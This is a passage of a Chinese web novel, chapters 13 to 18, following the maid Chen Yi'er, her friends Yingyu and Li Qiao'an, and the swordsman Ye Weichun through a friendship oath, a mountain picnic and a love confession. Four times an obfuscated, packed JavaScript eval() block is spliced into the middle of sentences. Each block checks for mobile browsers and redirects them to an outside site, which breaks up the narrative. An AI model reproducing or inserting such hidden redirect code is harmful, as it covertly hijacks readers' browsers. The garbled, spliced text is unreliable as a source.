宜尔停下脚,红璎转身看她,却说不出话来。他的巧言令色在此时毫无用处。 宜尔仰着脸,“我想了很久才明白,我生气,一是因为你骗我。二是因为我想象了一个不求回报的好朋友红璎,如今这个幻想破灭了,我既对你失望,更对自己失望。至于为何会有这种误会,我想是因为我们是完全不同的人。” 红璎明白,宜尔这是要同他一刀两断了,与之前那样冷着不说话不同,这次是真正的决裂。 以后再不能踏入她的院子,不能再同她和莺语用午膳,吃消夜,说说笑笑…… 原来这段时日经历的一切才是真正的梦。现在梦该醒了。 红璎等着宜尔的判决,她却突然仰起头,看向头顶的合欢树。 黑夜里绿叶并不分明,簇拥着的粉意也很黯淡。 风吹过,叶片沙沙作响。 “不知不觉,好几个月了。”她喃喃道。 如果那天没有走这条路,如果没有上前同他搭话,如果没应下他对合欢树许下的誓言……他们应该还是和以前一样只是点头之交吧? 宜尔低下头,看了红璎一眼。 她将身子正面朝向合欢树,双手合十,额头抵在指尖,“合欢树在上,民女陈宜尔,同——”她转头看向红璎,“你本名叫什么?” 红璎下意识答道:“李荞安。” 宜尔转回去,虔诚再虔诚,“合欢树在上,民女陈宜尔同李荞安今日在此立誓为友,愿从此以后肝胆相照永无欺瞒,遇事相商,互帮互助,若得自在逍遥,必不相忘,若遇风雨困顿,亦不相弃。” 红璎就是红璎,是一个没那么好的朋友,可也是她的朋友。就像宜尔也有很多缺点,可莺语仍将她当作朋友。 “荞安,”她唤着他的名字,“你愿意吗?” “愿意。”李荞安眼睛一热,没出息地淌下泪来。 宜尔哭笑不得,拿出手帕为他擦泪,眼泪却更似檐前雨般滴滴答答落下。 他难看地笑了一下,哽咽着道:“对不起。” 宜尔叹一声,“原谅你了。” 她愿意将宽容给予一个值得的人。 14.第 14 章 惊涛骇浪之后,是许久的风平波息。 闷热的夏日来得快,走得急,转眼便又是一年秋色。 宜尔、莺语和李荞安仍然过着简简单单的日子,各忙其事。 唯一的不同是,王乌终于找到了新杂役。 然而人多了,活却没有变少。几个人分一分,匀一匀,宜尔还是从早忙到晚。 早晨打扫庭院、浇花浇菜,留宿的客人多时便帮忙去暖阁取衣物被褥,送送东西。由于前段时日她的缺位,秦姐姐腰病犯了,需要稍作修整,宜尔便接手午后大部分洗衣活计,晚间再收衣裳,打扫洗院…… 有了新杂役,宜尔不用在前堂待到子夜,她又拥有了“清晨”,过上了曾经的生活。 不过宜尔还是要带新来的姑娘熟悉一个月。她每日去前堂一个时辰,跟在她身后。 “贵仙,这盘是十五桌的。”瞧她走错方向,宜尔出声提醒。 瘦弱的姑娘一抖,慌乱起来,“哦、哦。”她急急转过身,险些要和后面走来的刀鱼正对撞上,幸好宜尔先伸手拉住了她。 “哎呦!留心看路!”刀鱼匆匆走过。 “抱歉……”贵仙紧捏着托盘边缘。 贵仙年纪很轻,不过十五六,据说是家里有人病重,所以才来此挣钱。 “别慌,没人催你。而且你取来得很及时了。” 贵仙抿着唇点点头。 堂中央忽起一声悠扬的笛音,引得众人皆举目望去。 那是一个白发苍苍的老人,头发乱披散着,双目轻闭,古树根般纵横起伏的脸上有着深深浅浅的疤痕,吹笛时面目平静宁和。 这是新来的琴师万苔痕,不过这段时日换了曲目表演,没想到他笛子也吹得这样好。 一曲终毕,万苔痕仍然闭着眼,一副风雨不动安如山的模样。 * 翌日,馆休,又是冠玉馆每月一日的大扫除。 馆内馆外,尤其是厢房和暖阁这些地方要仔细清扫一番。 刀鱼动作利落,此次暖阁就交给他收拾。贵仙则去跟着他学习。 宜尔和莺语负责倌人们的厢房,还有长住此地的叶为春住所。 莺语非常泰然地敲过门。 昨日已经同叶为春说过打扫一事,他门开得很快。 然而开门时宜尔却恍惚了,这是叶为春? 只见他乱头粗服,胡子拉碴,肩膀耸驼,全无之前那副六剑公子的贵人气派。 他身上还有酒气,懒懒地看了二人一眼,最终目光定在莺语身上,“老样子,你们直接打扫就行,不用管我。” 莺语吓了一跳,“哎!叶公子你怎又这副模样?浪费这俊俏样貌,我叫春响他们来替你收拾一番。” “……不必。”叶为春扭头进去。 莺语和宜尔互看一眼,莺语耸了耸肩。 两人进屋收拾,叶为春的房间每日都有莺语打扫,很是整洁干净。没过多久两人便要打扫完了。 叶为春一动不动,坐在床头看剑谱。 莺语拎着水桶过去,“公子,你挑个明亮地儿,别害了眼病。”这坏毛病同宜尔一样一样的。 叶为春起身,手捧剑谱,眼睛也盯着剑谱,坐到窗口下。莺语扶额,“公子,这日光直照的,你坐桌边呐,我同宜尔都打扫好了。” 叶为春又起身,同一副样子坐到桌边去。 宜尔和莺语打扫完,退出房间。 宜尔想了想,开口道:“莺语,叶公子方才一直有偷偷瞧你做事。” “啊?他不是在看书吗?”莺语擦了擦汗。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15569704|171342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你背过去时,我瞧见他有瞥你,尤其是你收整柜子时。你要小心些,这些江湖人士总有很多秘密。他日日醉生梦死,性情说不准变急躁许多。” 莺语吓得一抖,“难不成是我方才弄脏了什么?还是差点碰到什么秘籍?完全想不起来。” “谨慎些总是好的,人心难测。” 莺语点点头,他们又往下一间。 下一间,是李荞安的住处。 荞安在另一侧拉着床单,叠覆起来后放到宜尔手中,宜尔将其翻折成块,收在柜中。 然后她又将洗净的拿过来一抖,试图铺在床上,然而只是歪歪扭扭地皱成一条。 荞安轻笑,“好大条毛毛虫。”他走过去用手将被单铺平。 本来在擦桌子的莺语也探过头来,噗嗤一笑,“怎么一个角都没对上?” 宜尔不好意思地红了脸,也上前用手拉,“再多做几回就好了。” 莺语拿着湿布,“对了,明日去野炊如何?” 秋季山里野菜野果多,入山正好尝鲜,宜尔点点头,“好啊,荞安你去不去?” 荞安一扬眉,“那是自然。” 翌日一早,宜尔挎着几个空篮子,荞安背了口大黑锅又抱着一篮子米、调料、锅铲汤勺筷子,站在门口等莺语。 然而莺语半晌没来。 宜尔:“急不可待。” 荞安接道:“待时而动。” “动人心弦。” “弦外之音。” …… 宜尔和荞安无聊得玩了好一会儿接龙,终于等到姗姗来迟的莺语。 好不容易等到了,莺语身旁还站了个身形高大的男人,男人背负长剑。 莺语抱歉地笑笑,“叶公子说,想同我们一道去。你们意下如何?” 15.第 15 章 “就这如何?地平又宽敞,有很多石头,溪水离得也近。”宜尔回头看后面三人。 李荞安、莺语立在她左侧方,右后是叶为春,站得离二人有些距离,背弯着,一副精神缺缺的模样。 李荞安脸偏向一旁,上下打量泛黄树木,“不错。” 叶为春则看着前头,不言不语,似乎没有任何意见。 不知是不是因为彼此陌生,两人的气氛有些怪异。莺语立在中间,颇感局促,但很快又将这种局促抛之脑后。 路上碰巧遇见叶公子,叶公子问她,她就问宜尔和红璎。 反正宜尔和红璎同意了,人也都来了,就不去想叶公子为何跟来之类的烦心事了,难得远行,玩得开心最重要。 “好啊,这地合适得很,前头还有一大片野花呢,瞧着就心旷神怡。”莺语笑着回到,她将背篓中的火折子等拿出来放在地上,“那我同宜尔去采些吃的,红璎你跟叶公子就在这儿搭灶吧。” 莺语揽过宜尔胳臂向山中走去。 初秋的山颜色颇艳,有红,有黄,更有数不尽的绿。与春日鲜嫩的绿、夏日浓郁的绿不同,是一种黯然的绿,一种渡口依依离情的绿。 秋,是一个满是告别的时节。 山中风大,吹得人衣袂翻飞。凉风中携着树木与花草的香气——是纯粹的清香。 宜尔同莺语拿着小锄头刨野菜,刨着刨着莺语忽地生出一份忧虑,忍不住小声道:“留他二人没事吧?叶公子出身名门贵族,面上虽然不显,但对小倌一向嗤之以鼻。等下会不会吵起来?” 宜尔抖了抖菜根上的泥,“应该不会,荞安是个很健谈和善的人。” 宽阔的石子地上,一个“健谈和善”的人正搬着几块大石头,用莺语留的铲子在地上刨了小半个坑,然后将石块围堆成灶台模样,架上锅试了试,又拿下来调整石头。 捡了干木柴和干草回来的叶为春将东西放在他手侧,一言不发又走远了。 面对如此明显的疏远,李荞安只笑笑,自己将东西捡起。 两人试图各自做各自的事,然而就一口锅、一处灶,总是难免有要互相搭手的时刻。 李荞安用火石准备擦燃干草,叶为春蹲在对头遮风。 他打量着这个男人——眉目确实俊秀,但细长的眼睛垂落下来时总显得有些阴郁。再加上鼻上两颗朦胧黑痣,鼻尖一点,侧向上一点,实在不大正经。 叶为春宿在冠玉馆,自然明白冠玉馆是什么样的所在,这种要靠女人生存的男人,他着实有些看不起。 男子汉大丈夫,有手有脚,为何不在外谋天地?拘泥于庭院酒桌间,实在丢人。 叶为春又想到自己,如今败于人下,辱没家名,日日醉生梦死,又怎么能说得上是个男子汉大丈夫? 而李荞安不管叶为春在想些什么,看不看得起他,只自顾自地拢好冒烟的草。当然也不会自讨没趣主动搭话。 两人默默无言,谁瞧了都是一副冰炭不投的模样。 “那个吃啥都香的馆主竟然吃不得蘑菇?” “嗯,柴爷说馆主就吃过一次,结果上吐下泻。” 说话声靠近,宜尔和莺语回来了,带着洗净的蔬果。 李荞安突然将身旁的水壶递给叶为春,笑着道:“叶公子辛苦,来口水?” 宜尔、莺语走近,叶为春也不好当众拂他的意,接过水壶,“谢了。” 原有些担心二人起争执的莺语暗舒一口气,她扬起笑,“我们没走多远就捡着栗子了,可脆甜了。” 没吃早饭肚子饿,掰了个生栗子嚼的宜尔点点头,她走到锅灶旁,本想一人给一个,看他俩手脏,便自己掰开两个,然后放在手帕上,先递到叶为春嘴边,“叶公子吃不吃?” 叶为春没精打采地摇摇头,宜尔捡起来自己吃了,将另一个递给李荞安,李荞安弯唇一笑,控制着距离,唇不触帕地咬过栗子,咀嚼起来。 莺语凑过来,“这可是从树上刚采的,新鲜得很,公子你从外头买的都没这个滋味。来,啊——” 叶为春下意识张嘴,被她丢了一颗进嘴中,牙齿不自觉一咬,甜津津的。 “好吃吧?”莺语骄傲地笑着。 “嗯。”叶为春精神了些。 宜尔起身去将篮子放下。 李荞安将起火的干草放进去,又将木柴踩断搭在草上,不多时便冒出滚滚浓烟来。 他避开下风口走向宜尔,“宜尔,我做的烟团熟了。” 宜尔扭头看了一眼,回了声“好”,然后将洗净的米倒进锅中,“那你们坐着等等。” 莺语蹲在一旁顿顿顿切菜,扬起头看来,“水还没打嘞。” “我去。” “我去。” 叶为春和李荞安异口同声,莺语拿着菜刀“呃”了半天,“那红璎你去打水,叶公子你帮我削下土豆。” 叶为春走上前,捡起地上的土豆。 莺语给了他把小刀,他手腕几转,一圈圈薄如蝉翼的皮被削退下来。 莺语捏着土豆皮痴看半晌,“不愧是六剑公子,连个土豆都削得如此非同寻常。” 听到这个称呼,叶为春有些晃神。 宜尔翻找一圈,发现一件严峻的事,“没带锅盖。” 拎着水回来的李荞安也扫了一遍地下的东西,又回忆早晨,“抱歉,是我见锅盖脏,洗了放在桌旁,后头跟宜尔说两句话就忘记拿了。” 莺语:“没锅盖怎么煮饭?” “我当时也着急,没仔细检查,没事,忘了就忘了。”宜尔瞥到莺语手下有整个锅口般宽的砧板,“要不用砧板先替一下?好歹挡点灰。” 莺语乐呵呵地道:“我们宜尔怎这么聪慧。”她将切好的板栗土豆、野菜野葱一应倒进锅里,又用铲子搅了搅。 白嫩的米粒间分散着黄白的栗子、土豆块,褐色的汤面上则飘着嫩绿的葱、几许紫色花瓣…… 李荞安将装得满满当当的锅一举抬到灶台上,又用砧板遮盖住,砧板没有完全盖牢,露出来两指宽的缝。宜尔折来一把树枝,用密密的枝叶挡住。 一切就绪,众人闲下来。 莺语摸着石块坐下,“你们出去走走玩玩吧,我留这儿看锅。” 叶为春跟着坐在旁边,“我也一起看。” 莺语一向是没走几步就要累的,而叶为春与他二人不熟,跟上来怕是会尴尬。 宜尔点点头,看向李荞安,“走吧。” 不远处,半人高的黄色野菊花细密烂漫地开放着,风吹过便漾起金波。 宜尔手抚过指头大的花朵,感到丝丝清凉与柔软——这花就像是布做的一般。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15582208|171342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 李荞安折过几枝,茎秆一盘,弯成几圈重在一起。 他似乎很热衷此事,宜尔便找了块石头坐下,撑着脑袋看远处山色,静静等他。 远处的暗绿蒙着缕缕白色雾气,飘忽朦胧,只几处红黄鲜明。 “宜尔。”李荞安唤她。 宜尔扭过头,正看见李荞安将黄绿的花环戴在头上,他蹲下来看她,两手交叉搭在膝盖上,舒朗地笑着,一扫眉眼间的冷气,“好看吗?” 宜尔也笑,笑得温和宁静,“好看。” “这么敷衍?”他扬眉。 宜尔想了下,“特别好看?” 李荞安噗嗤笑出声,“这是你的。”他从后面拿出一个放在她头上,“我还给莺语做了一个。”手里提着另一个。 “手好快啊你。”宜尔扶正头上的花环。 “以前义父爱编些小玩意,教过我。”李荞安同她说完,小跑过去将花环丢给莺语,又快步跑回来,隔着衣袖拉过她手腕,“走,山里可有什么好看的?” “有一片银杏林。” 两人渐行渐远,叶为春看着两抹变小的背影,忍不住道:“那两人是恋人?” 莺语两腿伸直,用手轻轻捶打,“不是。他俩只是很欣赏对方。” 欣赏是欣赏,爱是爱,不太一样的。 而且啊…… 莺语看着宜尔的背影。 这世上有的人一见钟情,爱得轰轰烈烈,也有像宜尔这样,见了又见,见了又见……不知不觉间情愫暗生,爱得细水流长的人。 宜尔是个慢性子,喜欢一个人对她来说需要时间。她给自己的时间很多,给别人的时间也很多。 也许某一天,她的眼睛里也会闪着恋慕的光,但要何时才会发生变化,无人知晓。 慢一点也无妨,莺语只希望宜尔过得快乐就好。 叶为春望着她侧脸,似乎有所犹豫,纠结半晌开口道:“那莺语你呢?” 莺语莫名其妙,看向他,“你是问哪个?喜欢宜尔还是喜欢红璎?” 前面这个念头叶为春还是头一回想到,他怔了一会儿,“红璎。” “红璎不是我喜欢的类型。而且,和小倌谈情说爱太苦了。”在冠玉馆多年,莺语见过无数为小倌流尽眼泪也失尽金钱的人。 欢乐场中难有真情。 叶为春似乎下定了某种决心,他定定地看着莺语:“我有话想同你说。” 莺语莫名浮现出宜尔同她说的话,忐忑不安起来,“公子请说。” * 李荞安手撑着树,微弯着脊背。 宜尔踩在他肩头,伸手够树梢的青绿果实。胳膊伸了老长还差一截,她收回手,“够不着啊,荞安,你手长,你踩我试试。” 李荞安低着头哭笑不得,“我这样重,等下把你踩到土里了。” “放心,我力道很大的。”宜尔抱着李荞安的头,他蹲下身去。 “傻宜尔,我给你找个树枝,你试试将果子打下来就是。” “说得对。” 两人往四周看,李荞安正看见崖边草坪上落了一截长短很是合适的树枝。 他走过去要捡,然而走近了一瞧,却见那棕褐色动了动。再仔细一瞧,“树枝”头部正睁着一双圆眼睛,眼睛中间的瞳孔缩成一条细线。 16.第 16 章 一声划破天际的喊叫惨不忍闻。 李荞安看着不为所动的长蛇。 见“狮吼功”不起震慑效果,他试图慢慢倒退,然而蛇一见他动,顿时游走蹿来,眼见就要蹿到脚下,李荞安手忙脚乱,一阵乱跳,竟恰好一脚踩到了蛇头上。 鸡皮疙瘩瞬起。 捡了根木棍赶来的宜尔见此情形,叫他赶快直接将蛇踩死。 “我属蛇的,下不去脚。”李荞安纠结万分,总觉得踩了以后要遭报应。 “那你踩稳了,等下我用棍子把蛇挑到崖下去。” 蛇身在脚下扭动,最后抽缠住他的脚,试图圈起又松垮下去,李荞安浑身难受,干脆仰头看天。 宜尔将棍子卡在李荞安脚底和蛇头相接处下方。 “一,二,松!” 李荞安将脚抬起,宜尔使力将蛇甩起,然而蛇并没有飞向悬崖,反而飞向了另一边。 “宜尔!红璎!”听到声音匆匆赶来的莺语一来便见一条长蛇飞扑而来。 尖叫在喉咙快要破出,叶为春一手抓住蛇身,转瞬便将其往外一丢,长蛇坠入深崖。 三人望向他的眼神不自觉带了钦佩。 “会武功就是好啊。”莺语发出由衷的感慨。 宜尔松了口气,“多谢叶公子。” 叶为春略有些局促,他咳了一声,“饭熟了。” 几人回到原来的地方,却见锅上的木砧板起着熊熊烈火。 莺语眼疾手快拿过水桶冲上去要浇,宜尔拽住她,“别浇!等下饭不能吃了。” 宜尔蹲着靠近飘燎起的火团,用方才捡回来的木棍将砧板一挑,挑到一边去,莺语用水一浇,火熄了。 焦糊味和饭菜的喷香同时传来。 看着边角烧得乌黑的砧板,两人没忍住笑出了声。 明明也不是什么好事,可不知为何,就是觉得很好笑。 莺语笑完蹲下来,戳了戳砧板,“这是跟柴爷借的板子欸,宜尔你去还吧,柴爷肯定不忍心骂你。” “机灵鬼。”宜尔拿起砧板,“我先去刷洗一下。” 莺语看着她走远,“唉,出来野个炊,事情居然这么多。” “至少饭没事。”李荞安用筷子捅了捅米饭,软硬适宜,散发着肉肠和土豆的焖香,是甜中带咸的一种气息,还有浓郁野葱香。 他端过大锅放在一旁,又用树枝将火打散开,扑灭得只剩些星火。 莺语抱了些土豆过来,一把丢进去。 等宜尔回来时,饭都已经舀好了,李荞安、叶为春坐在一侧,莺语坐在另一侧。 “宜尔,来来来。”莺语指指自己身边的位置,另一只手里端着饭碗。 宜尔端着饭走过去坐下,“味道如何?” 莺语哼了一声,“我师承柴爷,怎会差?” 李荞安点首,“确实,此饭只应天上有。” “听你胡说,你都没吃呢。” 宜尔夹了筷子野菜,吹半晌,而莺语被李荞安无语到,忘了吹凉直接入嘴,烫得她捂着嘴直呼气。 宜尔拿过身边的水壶,却被叶为春抢先一步。 她看着叶为春端着水壶喂给莺语喝,莺语面耳发红。 宜尔顿时警觉起来。 奇怪,这叶公子突然待莺语如此好,是想做些什么? 叶为春感受到一阵敌意,看向正紧紧盯着他的宜尔。 李荞安见她盯着叶为春,也看过去。 莺语见他二人都看向叶为春,连道谢都忘了说,也不禁看过去,最后三人目光齐聚一处。 叶为春顶着三道直剌剌的目光坐回原来的位置,安静吃饭。 宜尔也收回视线,暗忖或许是自己多想了。 山风偏凉,吹着吹着就让人头脑清爽起来。 宜尔望着那片随风摇曳的金色野菊花,风从左边过来时它们被吹矮一截,风从右边过来时它们又重新长高。 她深吸一口气,又缓缓呼出,似乎所有的忧心、烦闷都一应消失了。 若是能一直这样平静地度过每一日就好了。 等李荞安和叶为春洗完碗筷和锅,四人收拾东西下山,各回各屋。 时候尚早,李荞安本来要跟着到宜尔院子去玩,莺语挽住宜尔,“不行,从此刻起,宜尔单是我一个人的了,你明日再见她吧。” “什么?” 不等李荞安发表更多意见,莺语推着宜尔回她的小院,一进院子就将门关上。 宜尔:“怎么了?” 莺语拉她坐在桌边,忧心忡忡,“宜尔,大事不妙。” 宜尔担忧起来,“究竟怎么了?” “叶公子说他喜欢我。”莺语把这句话憋了一路,快憋坏了。 宜尔的思绪停滞,好久才缓过神来,“嗯?” 莺语说完就红了脸,两只手捏在一起搓,“你们走的时候他同我说的。说是这段时日和我相处,不自觉便喜欢上我了。”为了掩饰害羞,她挥挥手,“哎,江湖侠客跟我这种小杂役,在一起定是虐恋情深。” 宜尔无奈地笑了:“你同意和他在一起了?” “还没,当时太震惊了,我就说让我想想,明日再答复他,但回来了也不知道想些什么。唉,”她突然惆怅起来,“不会是玩弄我吧?我都不知道我有哪点值得他喜欢。” “莺语性格好,活泼开朗,为人大方,自然讨喜。再加上叶公子内敛、沉重,是容易被你这样的性子吸引。” 莺语娇羞地轻轻捶了她一下,又开始担忧起来,“叶公子是很好。可我……我是要嫁人的,金湖山庄的小公子又不可能娶我为妻,我不想做小。” 莺语的爱恨一向简单,谁爱她她爱谁,谁恨她她恨谁。但叶为春身份特殊,她就很犹豫了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15588546|171342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你没问他对你二人的将来是如何想的?” “吓都吓死了,哪还想着问什么。宜尔宜尔,你最聪慧了,你替我看看,他究竟是真心还是假意啊?” 这就问倒宜尔了,“我对叶公子也不是很熟,但他……应该还算个善良的人。” 莺语想起上回的事,兴奋劲褪去,“差点忘了他以前还冤枉过你呢。这种男人,算了算了。” 宜尔能看出她对叶为春也有些情意,“叶公子不认识我,当时那番情形怀疑我实属正常。莺语你不必因为我而拒绝他,我没生叶公子的气。” 莺语眼睛一热,她耷拉下来,“可是感觉在一起都不会有将来,唉,好烦啊。刚从情海出来没多久,又要再踏入。” “你想踏入吗?” “有点,我不是想谈段轰轰烈烈的吗?”莺语羞涩地捂住脸。 “那就去吧,若是在海里溺水了,我会去捞你的。” “嗯……话虽如此,可我也怕被骗……”莺语又绕回来了。 爱情之中的人就是容易车轱辘话来回说,情绪起伏也大,宜尔能理解。 “那我去替你问问。他若是说谎,兴许我能瞧出来。” “宜尔最好了~” 宜尔说要去问,马上便起身去问。 叶为春打开门时瞧见她来似乎并不意外,“宜尔姑娘想同我说什么?” “你准备娶莺语为妻吗?” 叶为春一怔,可眼中没有任何迷茫,“是的。” “口说无凭。” 叶为春身姿板正起来,“只要莺语同意,我即刻启程返家,向爹娘奏明心意。” 宜尔打量着他的神情,暂时看不出什么破绽。 “宜尔?” 听到有人呼唤,宜尔扭头,看见李荞安从她身后冒出来,“你怎么在厢房这边?” 他瞟了叶为春一眼。 “没什么,”叶为春低下眼,“我有东西落了,宜尔姑娘替我送来,多谢。恕不远送,请。”他颔首,关上门扉。 宜尔来不及说什么,只能默认这套说辞。 李荞安抱臂靠在门上,垂着眼睛看她,“大忙人,你跟莺语玩,又找叶为春,今日没有哪个时刻能分给我吗?” 幸好他没有追问找叶为春的事,宜尔不想骗他,也不想背着莺语将此事说给别人。 “今日不够用了。”宜尔认真答道,她还得回去传达。 李荞安叹息:“平日我忙时你闲,我闲时你忙,除了饭点都很难见面,好不容易休歇……” “可今日白天我们不是一直一起吗?” “所以眼下我一个人更无聊啊。”他头偏靠在门上。 “宜尔,”他轻声唤她,“再让我粘你们一会儿不行吗?” 李荞安光知道宜尔心软,但不知道她心硬起来时的模样。 “这样吧,我借你书看。” 17.第 17 章 李荞安拿着书离开时,哀怨地盯着莺语。 莺语视若无睹,将门关上。要她将少女心事说给另一个男人听,她还不够勇气。 “如何?”她惴惴不安地看向宜尔。 “叶公子说若你同意,他愿意即刻返程回家求亲。” 莺语提着口气等她后话。 “我瞧着不像虚言。” 莺语无声尖叫,上下挥舞着两只手。稍微冷静下来后她捂着胸口,“莫不是上苍垂怜?我竟有此等良缘?像做梦一样。” 她欢喜地转了个圈,最后将手搭在宜尔肩膀,“苟富贵,勿相忘,要不要跟我这只乌鸡一块儿走?” 宜尔笑着摇摇头。 其实宜尔有很多隐忧,但她知道莺语不是无知少女,她也明白那些事,可她更愿意相信世上有好运,更愿意沉浸于眼下的快乐。 莺语同宜尔一样无父无母,两人多年以来互相扶持,宜尔只希望她能自由自在、欢喜快乐。 若是外出淋了风雨,她会等她回来,照料她;若是在外面找到了更好的归处,她也会笑着送她。因为莺语是她第一个也是最好的朋友。 宜尔:“莺语,那你等下要直接去找他说么?” 舒了口气的莺语顿时懒散下来,“今日不说,明日说。女人要有格调,马上答应显得我上赶着似的,明早,嗯……明晚我再同他说吧。”她两手捧着下巴乐呵呵地笑。 宜尔对这其中的门道不是很清楚,但她开心就好。 许久没有二人独处,莺语拉着宜尔说了许多话,说她第一日瞧见叶为春时的惊为天人,说她向往他身上的故事、江湖,说她对将来的幻想,对将来的惶恐…… 有太多太多要说,莺语夜里也宿在她院中,说到宜尔实在是困得睁不开眼皮,两人才双双沉入梦乡。 翌日,莺语去干活,宜尔也继续她简单重复的生活:早间洒扫庭院,浇花拔草,午间同莺语、李荞安用饭,午后在洗院搓衣裳…… 入秋以后,水开始变冷了。 宜尔将打来的水倒进盆中,哗啦哗啦,水珠溅在她发间。 门槛处跨进一双磨破了边的鞋,白发苍苍的老人背着一架古琴,拄着杖缓步而来。 正使力搓衣裳的宜尔抬起头,“万先生?这是洗院,您迷路了?” 万苔痕摇摇头,“你是前堂那位声音很平静的姑娘。” 宜尔用围兜将手抹干,起身上前,“我叫陈宜尔,本是这洗院的,只是晚间需得去前堂带新来的杂役贵仙。先生可记得贵仙?那个帮您抬琴的小姑娘。” 万苔痕点点头,“记得。原来是陈姑娘,叨扰了。姑娘继续忙碌便是,不必在意老朽。” “好,您小心些。”宜尔以为他是出门散心,四处逛逛,于是坐回去继续搓衣裳。 衣物揉进水中又被带出,发出卟叽卟叽的声响。 宜尔一边搓,一边观察万苔痕的动向。 他背着硕大的古琴,却似乎并不费力,肩背都是挺直的。手杖只用来支撑身体,并不向前探寻。他总是停一会儿才迈出下一步,每一步都很精准笔直。 若要叫不知情的人看来,怕是只以为他是个腿脚不便的老翁罢了。 万苔痕一路走到水井边,宜尔吓得赶紧站起来,“有口井!” 万苔痕弯下膝,伸出手摸索到墙缘,轻轻抚摸,似乎并不讶异,“多谢姑娘好心提醒。”他的声音沉稳平缓。 他从衣兜中摸出一枚铜钱,往井中丢去,只听得一声轻微的扑通。 宜尔觉得疑惑,又见他取下背上古琴,盘腿坐在井边,弹奏起了一首曲子——曲子音沉,低声呜咽一般,又渐渐升高,变得平和、绵长,孤寂而温柔,满是伤感之意。 一曲终毕,宜尔眼睛酸热。 万苔痕将琴背上,准备往外走去。 宜尔止不住好奇,问道:“先生为何往这井中掷钱?” “以示感恩。井曾救过老朽一命。” “原来如此,先生是惜福之人。” 万苔痕突然有些恍惚了,他苍皱的面孔露出温柔的笑来,“我是吗?” 他走出门槛,没有半点声音。 * 晚间,莺语当真如她所说,去同叶为春表露了心意。 叶为春有安心,有感动,高大如他,也不禁红了眼眶,让莺语更相信他是真情驱动。 莺语同叶为春在一起后,实实在在演绎了何为“缠缠绵绵”。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15588547|171342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 只要没活干,她就在厢房陪叶为春,陪他练剑、看书……天气好时两人就外出散步、放风筝……形影不离。 莺语午饭仍然同宜尔、李荞安一道吃,但晚饭要跟叶为春吃,消夜又跟宜尔他们吃——两头来回跑,是真正的大忙人。 自打情意相通后,莺语极少在二人面前提起叶为春,她仍然说着过去那类八卦闲谈,但饭比以前吃得快多了。 李荞安望着她飞奔而去的身影,轻叹一声:“见色忘友第一人。宜尔可会觉得寂寞?” 宜尔将筷子搁置碗边,看着那扇被莺语推开又忘记关上的门。 “虽说是迟早的事,但确实有些舍不得,感觉……像叶为春抢走了我的莺语。” 叶为春抢走了在宜尔面前叽叽喳喳、像个小麻雀的莺语。 以前莺语都要去外头才能见到心上人,她在干活以外的事上都懒,没什么状况就歇班日见一面。如今几步路就能见到,她跑得很勤快。 宜尔有一种心口空落落的感觉。 “我就不同了,朋友如今空的时间都是我的。”捡漏的李荞安望着她道。 宜尔笑了笑,“那你可觉得开心了?” 李荞安弯过唇角,眼睫敛下,“还可以。” 时间一日一日过去,宜尔看着浓情蜜意的二人,开始有些担忧。 她叫住准备去前堂打扫的莺语,“我有件事想问你。” “什么呀?”莺语整个人面泛红光,乐呵呵的。虽然平时也总乐呵呵,但如今笑得更痴傻了。 叶为春这段时日也精神许多,逐渐恢复当时初见的光彩。 两人的变化让宜尔知道至少他们确实是真心相爱的。但她还是要亲自问一下:“你同叶公子这段时日相处如何?” 莺语一向怕自己主动提会惹人烦,但宜尔先问了,她答起来也爽快:“很好啊,为春傻乎乎的,但待我很好。他带我去吃了许多好吃的,还去山间捉了鱼。怎么啦?是不是这段时间冷落咱陈美人,想我啦?放心,男人都是过客,宜尔才是我的家。”她伸手就要抱她。 宜尔无奈地按住她的两臂,“嘴这么甜,哄完叶公子又来哄我。我是想问你,叶公子何时回去提你们的亲事?” 18.第 18 章 “也不急于一时吧?”莺语别过头,眼神飘忽。 “有个定数不好么?” “可现在也很快乐,也很好啊。” 宜尔沉默半晌,她细细打量着莺语,“你怎么怪怪的?叶公子反悔了?” 莺语吸了口气没说话,她扭扭捏捏,“宜尔,我说了你别生气。” 